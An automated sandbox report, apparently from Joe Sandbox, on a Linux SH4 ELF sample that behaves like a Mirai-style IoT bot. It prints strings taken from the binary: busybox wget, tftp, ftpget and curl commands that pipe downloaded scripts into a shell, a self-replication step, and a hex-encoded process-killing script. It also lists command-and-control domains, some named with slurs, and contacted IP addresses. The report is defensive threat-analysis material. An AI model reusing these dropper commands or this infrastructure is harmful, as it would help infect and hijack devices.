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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1543632
MD5:	55ec4127f02a2da58051392d8444fe43
SHA1:	ac171a19abf98ef9a508a71daa8c94919c508b6c
SHA256:	f7969c00f4f2a706dc5e5f0061c3b9dbfc14532fcfe475dee2371e9c2755fa43
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543632
Start date and time:	2024-10-28 08:18:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/125@16/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: sh4.elf

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5454
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5454, Parent: 5373, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5456, Parent: 5454)

sh4.elf New Fork (PID: 5458, Parent: 5456)

sh4.elf New Fork (PID: 5460, Parent: 5456)

sh4.elf New Fork (PID: 5461, Parent: 5456)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 42%

Source: sh4.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 181.85.240.49
Source: unknown	TCP traffic detected without corresponding DNS query: 181.85.240.49
Source: unknown	TCP traffic detected without corresponding DNS query: 196.3.221.5
Source: unknown	TCP traffic detected without corresponding DNS query: 196.3.221.5
Source: unknown	TCP traffic detected without corresponding DNS query: 164.8.105.57
Source: unknown	TCP traffic detected without corresponding DNS query: 223.68.93.30
Source: unknown	TCP traffic detected without corresponding DNS query: 164.8.105.57
Source: unknown	TCP traffic detected without corresponding DNS query: 223.68.93.30
Source: unknown	TCP traffic detected without corresponding DNS query: 7.156.240.192
Source: unknown	TCP traffic detected without corresponding DNS query: 220.105.175.63
Source: unknown	TCP traffic detected without corresponding DNS query: 7.156.240.192
Source: unknown	TCP traffic detected without corresponding DNS query: 169.54.1.83
Source: unknown	TCP traffic detected without corresponding DNS query: 220.105.175.63
Source: unknown	TCP traffic detected without corresponding DNS query: 156.156.82.90
Source: unknown	TCP traffic detected without corresponding DNS query: 7.156.240.192
Source: unknown	TCP traffic detected without corresponding DNS query: 169.54.1.83
Source: unknown	TCP traffic detected without corresponding DNS query: 119.162.215.255
Source: unknown	TCP traffic detected without corresponding DNS query: 156.156.82.90
Source: unknown	TCP traffic detected without corresponding DNS query: 169.54.1.83
Source: unknown	TCP traffic detected without corresponding DNS query: 119.162.215.255
Source: unknown	TCP traffic detected without corresponding DNS query: 167.40.98.116
Source: unknown	TCP traffic detected without corresponding DNS query: 126.167.33.244
Source: unknown	TCP traffic detected without corresponding DNS query: 167.40.98.116
Source: unknown	TCP traffic detected without corresponding DNS query: 161.127.177.199
Source: unknown	TCP traffic detected without corresponding DNS query: 156.156.82.90
Source: unknown	TCP traffic detected without corresponding DNS query: 126.167.33.244
Source: unknown	TCP traffic detected without corresponding DNS query: 95.1.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 167.40.98.116
Source: unknown	TCP traffic detected without corresponding DNS query: 119.162.215.255
Source: unknown	TCP traffic detected without corresponding DNS query: 161.127.177.199
Source: unknown	TCP traffic detected without corresponding DNS query: 2.86.119.135
Source: unknown	TCP traffic detected without corresponding DNS query: 126.167.33.244
Source: unknown	TCP traffic detected without corresponding DNS query: 95.1.147.4
Source: unknown	TCP traffic detected without corresponding DNS query: 29.109.3.108
Source: unknown	TCP traffic detected without corresponding DNS query: 161.127.177.199
Source: unknown	TCP traffic detected without corresponding DNS query: 2.86.119.135
Source: unknown	TCP traffic detected without corresponding DNS query: 19.48.230.192
Source: unknown	TCP traffic detected without corresponding DNS query: 29.109.3.108
Source: unknown	TCP traffic detected without corresponding DNS query: 205.63.142.237
Source: unknown	TCP traffic detected without corresponding DNS query: 2.86.119.135
Source: unknown	TCP traffic detected without corresponding DNS query: 19.48.230.192
Source: unknown	TCP traffic detected without corresponding DNS query: 170.165.143.215
Source: unknown	TCP traffic detected without corresponding DNS query: 205.63.142.237
Source: unknown	TCP traffic detected without corresponding DNS query: 7.218.95.255
Source: unknown	TCP traffic detected without corresponding DNS query: 19.48.230.192
Source: unknown	TCP traffic detected without corresponding DNS query: 29.109.3.108
Source: unknown	TCP traffic detected without corresponding DNS query: 170.165.143.215
Source: unknown	TCP traffic detected without corresponding DNS query: 205.63.142.237
Source: unknown	TCP traffic detected without corresponding DNS query: 155.245.69.159
Source: unknown	TCP traffic detected without corresponding DNS query: 7.218.95.255

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]

Source: sh4.elf	String found in binary or memory: http:///curl.sh
Source: sh4.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4L

Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5481/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5481/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5492/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5492/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5482/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5482/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5493/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5493/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5483/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5483/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5494/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5484/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5484/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5485/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5485/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5486/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5486/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5487/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5487/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5488/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5488/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5490/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5490/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5491/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5491/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5489/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5489/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5505/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5460)	File opened: /proc/5505/cmdline	Jump to behavior

Source: sh4.elf, 5454.1.00007ffe80a1e000.00007ffe80a3f000.rw-.sdmp, sh4.elf, 5458.1.00007ffe80a1e000.00007ffe80a3f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5454.1.000055a50339d000.000055a503400000.rw-.sdmp, sh4.elf, 5458.1.000055a50339d000.000055a503400000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5454.1.000055a50339d000.000055a503400000.rw-.sdmp, sh4.elf, 5458.1.000055a50339d000.000055a503400000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5454.1.00007ffe80a1e000.00007ffe80a3f000.rw-.sdmp, sh4.elf, 5458.1.00007ffe80a1e000.00007ffe80a3f000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.26	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	sh4.elf	false		unknown
http:///curl.sh	sh4.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
36.152.41.180	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
163.226.55.164	unknown	Japan	24297	FCNUniversityPublicCorporationOsakaJP	false
185.13.32.143	unknown	Russian Federation	46844	ST-BGPUS	false
95.244.217.202	unknown	Italy	3269	ASN-IBSNAZIT	false
116.185.157.174	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
2.244.104.4	unknown	Germany	6805	TDDE-ASN1DE	false
133.159.9.59	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
14.102.61.233	unknown	India	133647	ELXIREDATA-AS-INELXIREDATASERVICESPVTLTDIN	false
102.70.3.68	unknown	Malawi	37294	TNMMW	false
43.206.82.203	unknown	Japan	4249	LILLY-ASUS	false
101.229.96.43	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
182.188.251.157	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
175.24.179.191	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
203.158.209.201	unknown	Thailand	136737	RMUTK-AS-APRajamangalaUniversityofTechnologyKrungtepT	false
214.154.103.26	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
22.97.76.138	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
16.215.238.132	unknown	United States	unknown	unknown	false
22.140.16.223	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.86.78.162	unknown	United States	22987	BRIGHTRIDGEUS	false
155.164.61.102	unknown	United States	797	AMERITECH-ASUS	false
193.181.115.114	unknown	Sweden	28726	ASN-EVRY-UNIGRIDSE	false
192.226.83.142	unknown	United States	16524	METTELUS	false
202.173.202.30	unknown	Australia	9648	ASN-OZONLINE-AUAS-OZONLINE-AUCONVERTEDTOASN-OZONLINE-A	false
124.17.179.34	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
145.104.169.88	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
114.177.69.63	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
44.16.54.195	unknown	United States	7377	UCSDUS	false
167.181.16.202	unknown	United States	62481	SUNTRUST-BANKUS	false
116.185.157.181	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
70.190.193.72	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
170.187.213.99	unknown	United States	7018	ATT-INTERNET4US	false
154.161.58.88	unknown	Ghana	30986	SCANCOMGH	false
87.222.146.219	unknown	Spain	12479	UNI2-ASES	false
118.242.160.201	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
12.242.244.195	unknown	United States	7018	ATT-INTERNET4US	false
217.83.32.199	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
132.5.239.79	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
83.17.88.172	unknown	Poland	5617	TPNETPL	false
218.2.240.65	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
123.88.171.58	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
163.226.55.164	GntPlfffAN.elf	Get hash	malicious	Mirai	Browse
116.185.157.174	home.arm7	Get hash	malicious	Mirai	Browse
203.158.209.201	powwnApQs1.elf	Get hash	malicious	Unknown	Browse
133.159.9.59	Rwj6Rq4lW1	Get hash	malicious	Unknown	Browse
193.181.115.114	jew.m68k	Get hash	malicious	Mirai	Browse
14.102.61.233	dagQSRLYsB.elf	Get hash	malicious	Unknown	Browse
124.17.179.34	arm7.elf	Get hash	malicious	Mirai	Browse
182.188.251.157	S2lzc01l.x86	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	zersh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	zerarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	zersh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.26

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FCNUniversityPublicCorporationOsakaJP	splsh4.elf	Get hash	malicious	Unknown	Browse	157.20.163.212
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	157.16.83.249
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	157.16.140.8
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	163.226.55.154
	qKHMTbXs6n.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
	l7LY8rFQ2Q.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
	qKHMTbXs6n.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
	l7LY8rFQ2Q.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
	antispam_connect_eu.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
	antispam_connect_eu.exe	Get hash	malicious	SystemBC	Browse	157.20.182.233
ASN-IBSNAZIT	nabarm.elf	Get hash	malicious	Unknown	Browse	85.44.187.64
	nklsh4.elf	Get hash	malicious	Unknown	Browse	85.41.142.254
	splmpsl.elf	Get hash	malicious	Unknown	Browse	188.15.240.208
	nklarm5.elf	Get hash	malicious	Unknown	Browse	95.255.225.243
	jklmips.elf	Get hash	malicious	Unknown	Browse	95.245.119.172
	splarm.elf	Get hash	malicious	Unknown	Browse	85.40.182.205
	splarm5.elf	Get hash	malicious	Unknown	Browse	80.104.113.56
	splsh4.elf	Get hash	malicious	Unknown	Browse	80.117.137.123
	splspc.elf	Get hash	malicious	Unknown	Browse	88.61.96.32
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	82.60.19.235
CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	36.152.136.17
	nabarm7.elf	Get hash	malicious	Unknown	Browse	114.0.85.179
	nabarm.elf	Get hash	malicious	Unknown	Browse	112.24.254.6
	splppc.elf	Get hash	malicious	Unknown	Browse	223.108.77.228
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	36.153.11.176
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	183.206.61.80
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	36.156.103.166
	botnet.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	183.207.143.8
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	112.25.71.133
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	114.2.105.59
ST-BGPUS	arm4.elf	Get hash	malicious	Mirai	Browse	45.58.141.210
	irq1.elf	Get hash	malicious	Tsunami	Browse	170.178.181.55
	botnet.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	170.178.176.4
	PO#001498.exe	Get hash	malicious	FormBook	Browse	170.178.190.141
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	85.208.86.151
	na.elf	Get hash	malicious	Unknown	Browse	208.98.29.105
	http://okcoin.83670.cyou/Index/index/Lang/it-it/Trade/tradelist	Get hash	malicious	Unknown	Browse	107.167.2.234
	bot_library.exe	Get hash	malicious	Unknown	Browse	174.128.250.163
	Remittance Advice.eml	Get hash	malicious	ReCaptcha Phish	Browse	208.98.35.155
	https://www.gbt-inc.com/	Get hash	malicious	Unknown	Browse	104.160.179.234

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1616342875702634
Encrypted:	false
SSDEEP:	6:URe6gDFKZdFT/VcDFmVVC/VQEVl/VDM/V+4D/VH:IefOFm0PEVDMfF
MD5:	2D5F1162E97900FF76FA6AF0786737F9
SHA1:	6FECAF758FD1AAC8EFE404280F3BECB320D318BE
SHA-256:	B9E530D829B7DF78273C5EC9D5A14D2C1136CD1E94358F977FCDE76CBD669EEE
SHA-512:	96A05713DA58CFF121E0B3EB98A2B3C082100A558C71588DBC82205173AAC81FDE2602125C736BE9C618938FB76E1AA6197CFC77F136E8799D84800C3E666D1C
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..41d000-41e000 rw-p 0000d000 fd:00 531606 /tmp/..41e000-420000 rw-p 00000000 00:00 0 .420000-421000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.804909847165283
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	56'172 bytes
MD5:	55ec4127f02a2da58051392d8444fe43
SHA1:	ac171a19abf98ef9a508a71daa8c94919c508b6c
SHA256:	f7969c00f4f2a706dc5e5f0061c3b9dbfc14532fcfe475dee2371e9c2755fa43
SHA512:	07f98e2d027384e5e711674404920e2dcb3f405544736300c79b20ef569c748d39cf0d6cdd52a3934129586670edb8ad67f9c14a67e5e7784fc84efbda4ed65d
SSDEEP:	1536:kfa1wtpLlEA5eO7oWnOyLI359ayN8CCKnI8sR:kf6ilEA5eiwJvN8unI
TLSH:	F8439E76C4BEAE94C55C41F4A8318A742F43F200D65B2EFB6A85C4A64043ABDF65E3F1
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@...........................A...A.\|...............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55732
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xc6c0	0x0	0x6	AX	32
.fini	PROGBITS	0x40c7a0	0xc7a0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c7c4	0xc7c4	0x102c	0x0	0x2	A	4
.ctors	PROGBITS	0x41d7f4	0xd7f4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41d7fc	0xd7fc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41d804	0xd804	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41d808	0xd808	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x41d970	0xd970	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xd970	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd7f0	0xd7f0	6.8504	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd7f4	0x41d7f4	0x41d7f4	0x17c	0x1314	0.8702	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 08:19:25.974621058 CET	192.168.2.13	152.53.15.127	0xb178	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:19:37.369008064 CET	192.168.2.13	185.181.61.24	0xcdf0	Standard query (0)	netfags.geek. [malformed]	256	265	false
Oct 28, 2024 08:19:49.263470888 CET	192.168.2.13	202.61.197.122	0xa739	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:20:01.093919992 CET	192.168.2.13	168.235.111.72	0xdb1e	Standard query (0)	burnthe.libre. [malformed]	256	289	false
Oct 28, 2024 08:20:13.035681009 CET	192.168.2.13	185.181.61.24	0x2cdc	Standard query (0)	burnthe.libre. [malformed]	256	301	false
Oct 28, 2024 08:20:14.093451977 CET	192.168.2.13	81.169.136.222	0x9b97	Standard query (0)	yellowchink.pirate. [malformed]	256	302	false
Oct 28, 2024 08:20:15.134687901 CET	192.168.2.13	81.169.136.222	0x9df4	Standard query (0)	netfags.geek. [malformed]	256	303	false
Oct 28, 2024 08:20:24.653482914 CET	192.168.2.13	152.53.15.127	0x99ef	Standard query (0)	netfags.geek. [malformed]	256	312	false
Oct 28, 2024 08:20:36.522685051 CET	192.168.2.13	152.53.15.127	0x3399	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
